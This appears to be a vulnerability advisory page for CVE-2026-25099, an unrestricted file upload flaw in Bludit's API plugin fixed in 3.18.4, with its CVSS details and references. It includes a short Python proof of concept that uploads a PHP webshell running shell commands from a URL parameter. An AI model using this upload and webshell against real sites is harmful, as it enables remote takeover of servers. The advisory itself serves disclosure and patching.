CVE-2026-25099

Description

Bludit’s API plugin allows an authenticated attacker with a valid API token to upload files of any type and extension without restriction, which can then be executed, leading to Remote Code Execution. This issue was fixed in 3.18.4.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:bludit:bludit:*:*:*:*:*:*:*:* - VULNERABLE

Bludit < 3.18.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

target_url = "http://target/api/upload"
api_token = "YOUR_API_TOKEN"

# PHP webshell content
webshell_content = "<?php system($_GET['cmd']); ?>"

files = {
    'file': ('exploit.php', webshell_content, 'application/x-php')
}
headers = {
    'Authorization': f'Bearer {api_token}'
}

response = requests.post(target_url, files=files, headers=headers)

if response.status_code == 200:
    print("[+] Upload successful. Access shell at: /uploads/exploit.php?cmd=whoami")
else:
    print("[-] Upload failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25099
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25099
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25099/
[4] VulDB https://vuldb.com/cve/CVE-2026-25099
[5] https://cert.pl/posts/2026/03/CVE-2026-25099
[6] https://github.com/bludit/bludit/releases/tag/3.18.4

Raw JSON Data

JSON

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